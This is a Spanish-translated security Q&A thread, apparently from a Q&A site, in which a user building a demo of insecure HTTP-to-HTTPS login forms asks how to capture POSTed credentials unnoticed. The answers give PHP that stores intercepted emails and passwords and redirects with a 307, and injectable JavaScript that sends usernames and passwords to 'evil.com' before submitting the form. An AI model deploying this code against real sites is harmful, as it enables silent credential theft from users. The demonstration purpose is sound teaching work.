¿Cómo capturo datos POST y luego reenvío al usuario a otra página?

4

Actualmente tengo una configuración de sitio de demostración donde cargo el formulario de inicio de sesión a través de HTTP y luego POST a una URL de HTTPS. El objetivo es demostrar que este no es un método seguro para gestionar el inicio de sesión.

Estoy utilizando Fiddler para modificar el destino del formulario HTML a una página propia. Estoy intentando capturar los datos de la POST, pero luego reenvío al usuario al sitio original con los datos originales, por lo que, de hecho, mi intercepción es invisible para el usuario.

Estoy usando PHP y tengo todo funcionando hasta el punto de la redirección, por lo que todos los datos se almacenan en mi base de datos. Estoy pensando que quizás un 307 incluyendo los datos originales de POST, pero no estoy seguro de cómo hacer esto en PHP, ¿alguien puede ayudarme?

    
pregunta Scott Helme 25.07.2013 - 22:24
fuente

3 respuestas

1

Esto lo resolvió al final. Mi script PHP toma los valores, los almacena en la base de datos y reenvía al usuario. Sin mensaje, sin ventanas emergentes, sin advertencias. Luego, inicié sesión en el sitio de destino sin saberlo.

if(isset($_POST["email"]) && isset($_POST["password"])){
    $email = $_POST['email'];
    $password = $_POST['password'];
    $result = mysql_query("INSERT INTO table (email, password)
                               VALUES ('$email', '$password')");
    header("HTTP/1.1 307 Temporary Redirect");
    header("Location: http://www.***.co.uk/site/index.php");
}

Versión de Google Chrome 28.0.1500.72 m - SIN ADVERTENCIA

Internet Explorer versión 9.0.8112.16421 - NO HAY ADVERTENCIA

Mozilla Firefox versión 22.0 - Me advirtió.

    
respondido por el Scott Helme 25.07.2013 - 23:41
fuente
5

Esto es mucho más fácil de lo que estás tratando de hacer. Simplemente intercepte el evento de envío y realice una solicitud a la página perversa que almacenará las credenciales robadas y devolverá una imagen 1x1, luego el navegador manejará automáticamente el envío del formulario al destino legítimo correcto. Aquí hay un PoC (inyecte esto antes de </body> )

var form = document.getElementById('myForm');
form.onsubmit = function(){
   var username = getElementById('userNameField').value;
   var password = getElementById('passWordField').value;
   var fakeImage = new Image();
   fakeImage.src= 'http://evil.com/evil?user=' + username + '&pass=' + password;
   fakeImage.onload = function(){document.getElementById('myForm').submit()}
   return false;
}

Estoy bastante seguro de que esta no es la mejor manera de hacer esto, pero esto es solo la idea general.

Esto es más o menos lo que el el gobierno tunecino estaba haciendo para robar las cuentas de Facebook de los activistas ; Inyectarían algo así en la página de inicio cargada de HTTP y robarían las credenciales.

    
respondido por el Adi 26.07.2013 - 02:11
fuente
1

Si desea que el navegador de forma transparente envíe los datos por duplicado, por lo general no tendrá suerte. No hará eso. Pero podrías MITM la conexión actuando como un proxy transparente. Eso es bastante simple.

Sin embargo, PHP puede no ser el mejor lenguaje para ese tipo de proyecto. Esto no sería una aplicación web.

ADDED

Un 307 (a veces) hará que el navegador vuelva a enviar una solicitud POST, pero si lo hace, el usuario tiene que aceptar primero un cuadro de diálogo de confirmación de seguridad. Sin embargo, algunos navegadores seguirán haciendo un GET de una solicitud 307.

Consulte también: Response.Redirect con POST en lugar de Get?

    
respondido por el tylerl 25.07.2013 - 22:43
fuente

Lea otras preguntas en las etiquetas